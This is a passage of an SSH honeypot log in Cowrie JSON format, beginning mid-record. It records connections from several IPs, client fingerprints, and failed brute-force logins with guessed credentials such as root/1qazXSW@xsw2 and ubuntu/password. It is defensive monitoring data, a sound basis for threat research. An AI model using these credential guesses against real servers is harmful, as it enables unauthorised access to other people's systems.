S":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:39.100579Z","src_ip":"103.75.199.4","session":"4ccb7aa88a34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":57960,"dst_ip":"10.17.0.5","dst_port":22,"session":"d75c72f0be07","protocol":"ssh","message":"New connection: 43.163.119.215:57960 (10.17.0.5:22) [session: d75c72f0be07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:39.131435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:39.136864Z","src_ip":"43.163.119.215","session":"d75c72f0be07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx","message":"login attempt [nginx/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:39.374298Z","src_ip":"103.75.199.4","session":"4ccb7aa88a34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:39.385675Z","src_ip":"43.163.119.215","session":"d75c72f0be07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user4","password":"user4","message":"login attempt [user4/user4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:40.172492Z","src_ip":"43.163.119.215","session":"d75c72f0be07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:40.474083Z","src_ip":"103.75.199.4","session":"4ccb7aa88a34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":56838,"dst_ip":"10.17.0.5","dst_port":22,"session":"24d4a9ab8b46","protocol":"ssh","message":"New connection: 43.163.119.215:56838 (10.17.0.5:22) [session: 24d4a9ab8b46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:40.757271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:40.761838Z","src_ip":"43.163.119.215","session":"24d4a9ab8b46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:41.007856Z","src_ip":"43.163.119.215","session":"24d4a9ab8b46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:41.421080Z","src_ip":"43.163.119.215","session":"d75c72f0be07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password","message":"login attempt [ubuntu/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:41.743598Z","src_ip":"43.163.119.215","session":"24d4a9ab8b46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.83.196.237","src_port":37868,"dst_ip":"159.203.135.109","dst_port":22,"session":"b26224862cea","protocol":"ssh","message":"New connection: 154.83.196.237:37868 (159.203.135.109:22) [session: b26224862cea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:41.860714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:41.869028Z","src_ip":"154.83.196.237","session":"b26224862cea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:41.983226Z","src_ip":"154.83.196.237","session":"b26224862cea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazXSW@xsw2","message":"login attempt [root/1qazXSW@xsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:42.472115Z","src_ip":"154.83.196.237","session":"b26224862cea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:42.991076Z","src_ip":"43.163.119.215","session":"24d4a9ab8b46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:43.589351Z","src_ip":"154.83.196.237","session":"b26224862cea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.209.121.72","src_port":40306,"dst_ip":"10.17.0.5","dst_port":22,"session":"26641c534180","protocol":"ssh","message":"New connection: 205.209.121.72:40306 (10.17.0.5:22) [session: 26641c534180]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:44.966488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:44.971462Z","src_ip":"205.209.121.72","session":"26641c534180","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:44.976907Z","src_ip":"205.209.121.72","session":"26641c534180","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vianney","message":"login attempt [root/vianney] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:45.034373Z","src_ip":"205.209.121.72","session":"26641c534180","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":57964,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b45c95afbb4","protocol":"ssh","message":"New connection: 43.163.119.215:57964 (10.17.0.5:22) [session: 6b45c95afbb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:45.607511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:45.612611Z","src_ip":"43.163.119.215","session":"6b45c95afbb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:45.850562Z","src_ip":"43.163.119.215","session":"6b45c95afbb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:46.044010Z","src_ip":"205.209.121.72","session":"26641c534180","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"123456","message":"login attempt [zabbix/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:46.568574Z","src_ip":"43.163.119.215","session":"6b45c95afbb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:47.810557Z","src_ip":"43.163.119.215","session":"6b45c95afbb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.219.157.97","src_port":38161,"dst_ip":"10.17.0.5","dst_port":22,"session":"a326a1dd11f0","protocol":"ssh","message":"New connection: 114.219.157.97:38161 (10.17.0.5:22) [session: a326a1dd11f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:48.456548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:48.461306Z","src_ip":"114.219.157.97","session":"a326a1dd11f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:48.699141Z","src_ip":"114.219.157.97","session":"a326a1dd11f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QAZwsx.123","message":"login attempt [root/QAZwsx.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:49.686784Z","src_ip":"114.219.157.97","session":"a326a1dd11f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":54932,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ec9e32e1f95","protocol":"ssh","message":"New connection: 43.163.119.215:54932 (10.17.0.5:22) [session: 6ec9e32e1f95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:49.937458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:49.941709Z","src_ip":"43.163.119.215","session":"6ec9e32e1f95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:50.204589Z","src_ip":"43.163.119.215","session":"6ec9e32e1f95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:50.927516Z","src_ip":"114.219.157.97","session":"a326a1dd11f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"123456","message":"login attempt [bot/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:50.942074Z","src_ip":"43.163.119.215","session":"6ec9e32e1f95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:55:52.181827Z","src_ip":"43.163.119.215","session":"6ec9e32e1f95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":57816,"dst_ip":"159.203.135.109","dst_port":22,"session":"461e3e11f849","protocol":"ssh","message":"New connection: 103.75.199.4:57816 (159.203.135.109:22) [session: 461e3e11f849]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:00.921453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:00.926237Z","src_ip":"103.75.199.4","session":"461e3e11f849","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:01.022031Z","src_ip":"103.75.199.4","session":"461e3e11f849","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A123456a","message":"login attempt [root/A123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:01.307973Z","src_ip":"103.75.199.4","session":"461e3e11f849","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":50834,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fcaf605dfdd","protocol":"ssh","message":"New connection: 43.163.119.215:50834 (10.17.0.5:22) [session: 9fcaf605dfdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:01.425319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:56:01.431928Z","src_ip":"43.163.119.215","session":"9fcaf605dfdd","protocol":"ssh"}
